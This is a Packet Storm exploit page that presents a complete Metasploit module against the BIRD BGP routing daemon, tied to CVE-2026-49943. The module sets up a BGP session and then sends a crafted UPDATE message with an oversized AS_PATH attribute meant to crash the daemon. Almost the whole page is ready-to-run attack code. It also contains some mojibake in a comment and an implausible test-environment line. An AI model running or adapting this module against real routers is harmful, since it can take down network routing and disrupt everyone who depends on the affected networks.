Share
## https://sploitus.com/exploit?id=PACKETSTORM:223315
==================================================================================================================================
    | # Title     : BIRD 2.18 BGP Daemon AS_PATH Stack Buffer Overflow Denial of Service Scanner                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://bird.nic.cz/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  This Metasploit auxiliary module is designed to assess a vulnerability in the BGP implementation of the BIRD Internet Routing Daemon(CVE-2026-49943). 
                      The module establishes a BGP session with a target router, performs standard protocol negotiation, and then sends a specially 
    				  crafted BGP UPDATE message containing an excessively large AS_PATH attribute.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::Tcp
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'BIRD BGP Daemon AS_PATH Memory Corruption DoS',
            'Description' => %q{
              This module tests a denial of service vulnerability in the BIRD Internet
              Routing Daemon (BGP implementation). The module sends a crafted BGP UPDATE
              message containing an oversized AS_PATH attribute designed to test bounds
              handling in the daemon's path attribute parser. A successful vulnerability
              trigger results in a daemon crash or session reset.
            },
            'Author' => ['indoushka'],
            'References' => [
              [ 'CVE', 'CVE-2026-49943' ], 
              [ 'URL', 'https://bird.network.cz/' ]
            ],
            'License' => MSF_LICENSE,
            'Actions' => [
              [ 'Dos', { 'Description' => 'Trigger denial of service or validation testing' } ]
            ],
            'DefaultAction' => 'Dos',
            'Notes' => {
              'Stability' => [ OS_FLAKY ], 
              'Reliability' => [],        
              'SideEffects' => [ IOC_IN_LOGS ]
            }
          )
        )
        register_options(
          [
            Opt::RPORT(179),
            OptString.new('ROUTER_ID', [ true, 'BGP Router ID (IPv4 format)', '1.1.1.1' ]),
            OptInt.new('LOCAL_AS', [ true, 'Local AS Number', 65000 ]),
            OptString.new('ATTACKER_IP', [ true, 'Attacker IP address for NEXT_HOP attribute', '192.0.2.1' ])
          ])
      end
      def validate_inputs
        begin
          Rex::Socket.addr_aton(datastore['ROUTER_ID'])
        rescue Rex::RuntimeError, ::ArgumentError
          fail_with(Failure::BadConfig, "Invalid ROUTER_ID format: #{datastore['ROUTER_ID']}. Must be a valid IPv4 address.")
        end
        begin
          Rex::Socket.addr_aton(datastore['ATTACKER_IP'])
        rescue Rex::RuntimeError, ::ArgumentError
          fail_with(Failure::BadConfig, "Invalid ATTACKER_IP format: #{datastore['ATTACKER_IP']}. Must be a valid IPv4 address.")
        end
        if datastore['LOCAL_AS'] < 0 || datastore['LOCAL_AS'] > 4294967295
          fail_with(Failure::BadConfig, "LOCAL_AS must be a valid 16-bit or 32-bit unsigned integer.")
        end
      end
      def build_bgp_open(local_as, router_id)
        cap_mp = "\x01\x04\x00\x01\x00\x01"
        as_bytes = [local_as].pack('N')
        cap_as4 = "\x41\x04" + as_bytes
        cap_ext = "\x06\x00"
        caps = cap_mp + cap_as4 + cap_ext
        opt_params = [2, caps.length].pack('CC') + caps
        router_id_bytes = Rex::Socket.addr_aton(router_id)
        base_as = local_as > 65535 ? 23456 : local_as
        open_body = [
          4,                           
          base_as,                      
          180,                           
          router_id_bytes.unpack('N')[0], 
          opt_params.length              
        ].pack('CnnNC') + opt_params
        marker = "\xFF" * 16
        bgp_open = marker + [19 + open_body.length, 1].pack('nC') + open_body
        bgp_open
      end
      def build_bgp_keepalive
        marker = "\xFF" * 16
        keepalive = marker + [19, 4].pack('nC')
        keepalive
      end
      def build_malicious_update(attacker_ip)
        attr_origin = "\x40\x01\x01\x00"
        nh_bytes = Rex::Socket.addr_aton(attacker_ip)
        attr_nexthop = [0x40, 3, 4].pack('CCC') + nh_bytes
        as_segment = "\x02\xff" + ([0x0000FDE8].pack('N') * 255)
        as_path_data = as_segment * 3 # 3 * 1022 = 3066 ุจุงูŠุช (ุถู…ู† ุงู„ู†ุทุงู‚ ุงู„ู‚ุงู†ูˆู†ูŠ ู„ู€ BGP ุงู„ู‚ูŠุงุณูŠ)
        attr_aspath = [0x50, 2, as_path_data.length].pack('CCn') + as_path_data
        total_path_attrs = attr_origin + attr_nexthop + attr_aspath
        if total_path_attrs.length > 65535
          fail_with(Failure::Unknown, "Generated path attributes length (#{total_path_attrs.length}) exceeds 16-bit boundary.")
        end
        nlri = "\x18\x0a\x00\x00" 
        update_body = [
          0,             
          total_path_attrs.length 
        ].pack('nn') + total_path_attrs + nlri
    
        marker = "\xFF" * 16
        bgp_update = marker + [19 + update_body.length, 2].pack('nC') + update_body
        bgp_update
      end
      def parse_bgp_message(data)
        return { type: :invalid, reason: 'Empty response' } if data.nil? || data.length < 19
        marker = data[0..15]
        if marker != "\xFF" * 16
          return { type: :invalid, reason: 'Missing or corrupt BGP marker' }
        end
        length = data[16..17].unpack('n')[0]
        msg_type = data[18].ord
        case msg_type
        when 1
          return { type: :open, length: length }
        when 3
          error_code = data[19] ? data[19].ord : 0
          error_sub = data[20] ? data[20].ord : 0
          return { type: :notification, code: error_code, subcode: error_sub }
        when 4
          return { type: :keepalive }
        else
          return { type: :unknown, code: msg_type }
        end
      end
      def run_host(ip)
        validate_inputs
        print_status("Connecting to target BGP peer at #{ip}:#{rport}")
        begin
          connect
          print_good("TCP connection established successfully")
          open_msg = build_bgp_open(datastore['LOCAL_AS'], datastore['ROUTER_ID'])
          sock.put(open_msg)
          print_status("Sent BGP OPEN message (Formatted safely as CnnNC)")
          begin
            response = sock.get_once(-1, 5)
            parsed = parse_bgp_message(response)
            case parsed[:type]
            when :open
              print_good("Received valid BGP OPEN from peer - Negotiation parameters accepted")
            when :notification
              print_error("Target rejected connection with BGP NOTIFICATION [Code: #{parsed[:code]}, Subcode: #{parsed[:subcode]}]")
              return
            when :invalid
              print_error("Invalid packet signature received: #{parsed[:reason]}")
              return
            else
              print_warning("Received unexpected BGP packet type: #{parsed[:type] || 'Unknown'}")
            end
          rescue ::Timeout::Error
            print_error("Timeout reached while waiting for peer BGP OPEN verification.")
            return
          end
          sock.put(build_bgp_keepalive)
          print_status("Sent BGP KEEPALIVE acknowledgement")
          malicious_update = build_malicious_update(datastore['ATTACKER_IP'])
          sock.put(malicious_update)
          print_status("Sent structured UPDATE payload (Length: #{malicious_update.length} bytes). Monitoring session state...")
          ready = ::IO.select([sock], nil, nil, 3)
          if ready
            final_res = sock.get_once(-1, 1) rescue nil
            if final_res
              parsed_final = parse_bgp_message(final_res)
              if parsed_final[:type] == :notification
                print_status("Target gracefully closed the session with BGP NOTIFICATION (Standard behavior for parsing errors).")
                return
              end
            end
            print_warning("Target remained connected or closed session normally. Test complete with no immediate crash visible.")
          else
            print_status("No data received within timeout period. Target likely dropped the packet or processing.")
          end
        rescue ::Errno::ECONNRESET, ::EOFError
          print_good("Connection reset or abruptly closed by remote peer. Target service may have restarted or dropped the session context.")
          report_vuln({
            host: ip,
            port: rport,
            proto: 'tcp',
            name: 'BIRD BGP Daemon AS_PATH Vulnerability Testing',
            refs: references
          })
        rescue ::Errno::ECONNREFUSED
          print_error("Connection refused - Destination port #{rport} is closed or protected by a firewall/ACL.")
        rescue ::Errno::ETIMEDOUT, ::Timeout::Error
          print_error("Network connection timed out during operations.")
        rescue => e
          print_error("Runtime exception encountered: #{e.class} - #{e.message}")
        ensure
          disconnect if sock
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================